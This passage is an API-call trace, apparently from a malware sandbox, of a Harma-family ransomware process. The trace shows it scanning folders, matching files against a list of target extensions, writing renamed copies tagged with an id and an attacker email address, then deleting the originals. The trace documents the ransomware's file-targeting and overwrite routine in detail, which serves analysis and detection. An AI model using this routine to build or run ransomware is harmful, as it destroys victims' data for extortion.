returned 29 [0132.725] lstrlenW (lpString=".1cd") returned 4 [0132.725] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.725] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0132.725] lstrlenW (lpString=".jpg") returned 4 [0132.725] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.725] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.726] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.726] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.726] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=76352) returned 1 [0132.726] CloseHandle (hObject=0x220) returned 1 [0132.726] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0132.726] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.726] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.726] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.726] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.726] lstrlenW (lpString=".doc") returned 4 [0132.726] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.726] lstrlenW (lpString=".docx") returned 5 [0132.726] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.726] lstrlenW (lpString=".pdf") returned 4 [0132.726] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.726] lstrlenW (lpString=".xls") returned 4 [0132.726] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.726] lstrlenW (lpString=".xlsx") returned 5 [0132.727] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.727] lstrlenW (lpString=".ppt") returned 4 [0132.727] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.727] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.727] lstrlenW (lpString=".zip") returned 4 [0132.727] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.727] lstrlenW (lpString=".rar") returned 4 [0132.727] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.727] lstrlenW (lpString=".bz2") returned 4 [0132.727] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.727] lstrlenW (lpString=".7z") returned 3 [0132.727] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.727] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.727] lstrlenW (lpString=".dbf") returned 4 [0132.727] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.727] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.727] lstrlenW (lpString=".1cd") returned 4 [0132.727] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.727] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.727] lstrlenW (lpString=".jpg") returned 4 [0132.727] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.727] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.727] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.727] lstrlenW (lpString=".doc") returned 4 [0132.727] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.727] lstrlenW (lpString=".docx") returned 5 [0132.727] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.727] lstrlenW (lpString=".pdf") returned 4 [0132.727] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.728] lstrlenW (lpString=".xls") returned 4 [0132.728] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.728] lstrlenW (lpString=".xlsx") returned 5 [0132.728] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.728] lstrlenW (lpString=".ppt") returned 4 [0132.728] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.728] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.728] lstrlenW (lpString=".zip") returned 4 [0132.728] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.728] lstrlenW (lpString=".rar") returned 4 [0132.728] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.728] lstrlenW (lpString=".bz2") returned 4 [0132.728] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.728] lstrlenW (lpString=".7z") returned 3 [0132.728] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.728] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.728] lstrlenW (lpString=".dbf") returned 4 [0132.728] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.728] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.728] lstrlenW (lpString=".1cd") returned 4 [0132.728] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.728] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0132.728] lstrlenW (lpString=".jpg") returned 4 [0132.728] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.728] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0132.728] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0132.729] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.729] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=75344) returned 1 [0132.729] CloseHandle (hObject=0x220) returned 1 [0132.729] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0132.729] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.729] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.729] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.729] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.729] lstrlenW (lpString=".doc") returned 4 [0132.729] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.729] lstrlenW (lpString=".docx") returned 5 [0132.729] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.729] lstrlenW (lpString=".pdf") returned 4 [0132.729] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.729] lstrlenW (lpString=".xls") returned 4 [0132.729] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.730] lstrlenW (lpString=".xlsx") returned 5 [0132.730] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.730] lstrlenW (lpString=".ppt") returned 4 [0132.730] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.730] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.730] lstrlenW (lpString=".zip") returned 4 [0132.730] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.730] lstrlenW (lpString=".rar") returned 4 [0132.730] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.730] lstrlenW (lpString=".bz2") returned 4 [0132.730] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.730] lstrlenW (lpString=".7z") returned 3 [0132.730] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.730] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.730] lstrlenW (lpString=".dbf") returned 4 [0132.730] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.730] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.730] lstrlenW (lpString=".1cd") returned 4 [0132.730] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.730] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.730] lstrlenW (lpString=".jpg") returned 4 [0132.730] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.731] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.731] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.731] lstrlenW (lpString=".doc") returned 4 [0132.731] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0132.731] lstrlenW (lpString=".docx") returned 5 [0132.731] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0132.731] lstrlenW (lpString=".pdf") returned 4 [0132.731] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0132.731] lstrlenW (lpString=".xls") returned 4 [0132.731] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0132.731] lstrlenW (lpString=".xlsx") returned 5 [0132.731] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0132.731] lstrlenW (lpString=".ppt") returned 4 [0132.731] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0132.731] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.731] lstrlenW (lpString=".zip") returned 4 [0132.731] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0132.731] lstrlenW (lpString=".rar") returned 4 [0132.731] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0132.731] lstrlenW (lpString=".bz2") returned 4 [0132.731] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0132.731] lstrlenW (lpString=".7z") returned 3 [0132.731] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0132.731] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.732] lstrlenW (lpString=".dbf") returned 4 [0132.732] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0132.732] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.732] lstrlenW (lpString=".1cd") returned 4 [0132.732] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0132.732] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0132.732] lstrlenW (lpString=".jpg") returned 4 [0132.732] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0132.732] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0132.732] lstrlenW (lpString="memtest.exe") returned 11 [0132.732] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.732] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=485760) returned 1 [0132.732] CloseHandle (hObject=0x220) returned 1 [0132.732] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0132.732] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.733] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.733] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0132.733] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0132.733] lstrlenW (lpString=".doc") returned 4 [0132.733] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0132.733] lstrlenW (lpString=".docx") returned 5 [0132.733] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0132.733] lstrlenW (lpString=".pdf") returned 4 [0132.733] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0132.733] lstrlenW (lpString=".xls") returned 4 [0132.733] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0132.733] lstrlenW (lpString=".xlsx") returned 5 [0132.733] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0132.733] lstrlenW (lpString=".ppt") returned 4 [0132.733] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0132.733] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0132.733] lstrlenW (lpString=".zip") returned 4 [0132.733] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0132.733] lstrlenW (lpString=".rar") returned 4 [0132.733] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0132.733] lstrlenW (lpString=".bz2") returned 4 [0132.733] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0132.733] lstrlenW (lpString=".7z") returned 3 [0132.733] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0136.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\mayorintl.exe" (normalized: "c:\\program files\\microsoft analysis services\\mayorintl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.681] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0136.681] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0136.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0139.317] GetLastError () returned 0x0 [0139.317] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0139.349] WriteFile (in: hFile=0x21c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0139.350] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0139.350] WriteFile (in: hFile=0x21c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0139.350] SetEndOfFile (hFile=0x21c) returned 1 [0139.354] CloseHandle (hObject=0x21c) returned 1 [0139.354] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.354] SetEndOfFile (hFile=0x338) returned 1 [0139.375] CloseHandle (hObject=0x338) returned 1 [0139.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0139.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.378] lstrlenW (lpString=".doc") returned 4 [0139.378] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0139.378] lstrlenW (lpString=".docx") returned 5 [0139.378] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0139.378] lstrlenW (lpString=".pdf") returned 4 [0139.378] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0139.378] lstrlenW (lpString=".xls") returned 4 [0139.378] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0139.378] lstrlenW (lpString=".xlsx") returned 5 [0139.378] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0139.378] lstrlenW (lpString=".ppt") returned 4 [0139.378] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0139.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.379] lstrlenW (lpString=".zip") returned 4 [0139.379] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0139.379] lstrlenW (lpString=".rar") returned 4 [0139.379] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0139.379] lstrlenW (lpString=".bz2") returned 4 [0139.379] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0139.379] lstrlenW (lpString=".7z") returned 3 [0139.379] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0139.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.379] lstrlenW (lpString=".dbf") returned 4 [0139.379] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0139.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.379] lstrlenW (lpString=".1cd") returned 4 [0139.379] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0139.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.379] lstrlenW (lpString=".jpg") returned 4 [0139.379] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0139.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.380] lstrlenW (lpString=".doc") returned 4 [0139.380] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0139.380] lstrlenW (lpString=".docx") returned 5 [0139.380] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0139.380] lstrlenW (lpString=".pdf") returned 4 [0139.380] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0139.380] lstrlenW (lpString=".xls") returned 4 [0139.380] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0139.380] lstrlenW (lpString=".xlsx") returned 5 [0139.380] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0139.380] lstrlenW (lpString=".ppt") returned 4 [0139.380] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0139.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.380] lstrlenW (lpString=".zip") returned 4 [0139.380] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0139.380] lstrlenW (lpString=".rar") returned 4 [0139.380] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0139.380] lstrlenW (lpString=".bz2") returned 4 [0139.380] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0139.380] lstrlenW (lpString=".7z") returned 3 [0139.380] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0139.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.380] lstrlenW (lpString=".dbf") returned 4 [0139.380] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0139.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.380] lstrlenW (lpString=".1cd") returned 4 [0139.381] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0139.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0139.381] lstrlenW (lpString=".jpg") returned 4 [0139.381] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0139.381] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0139.381] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0139.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0139.382] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=7567) returned 1 [0139.382] CloseHandle (hObject=0x338) returned 1 [0139.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0139.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0139.383] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.383] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0139.383] GetLastError () returned 0x0 [0139.383] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0139.385] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0139.386] ReadFile (in: hFile=0x338, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0139.386] WriteFile (in: hFile=0x340, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.386] SetEndOfFile (hFile=0x340) returned 1 [0139.386] CloseHandle (hObject=0x340) returned 1 [0139.386] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.386] SetEndOfFile (hFile=0x338) returned 1 [0139.390] CloseHandle (hObject=0x338) returned 1 [0139.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0139.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.391] lstrlenW (lpString=".doc") returned 4 [0139.391] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0139.391] lstrlenW (lpString=".docx") returned 5 [0139.391] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0139.391] lstrlenW (lpString=".pdf") returned 4 [0139.391] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0139.391] lstrlenW (lpString=".xls") returned 4 [0139.391] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0139.391] lstrlenW (lpString=".xlsx") returned 5 [0139.391] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0139.391] lstrlenW (lpString=".ppt") returned 4 [0139.391] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0139.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0139.391] lstrlenW (lpString=".zip") returned 4 [0139.391] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0139.391] lstrlenW (lpString=".rar") returned 4 [0139.392] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0139.392] lstrlenW (lpString=".bz2") returned 4 [0139.392] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0139.392] lstrlenW (lpString=".7z") returned 3 [0139.392] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 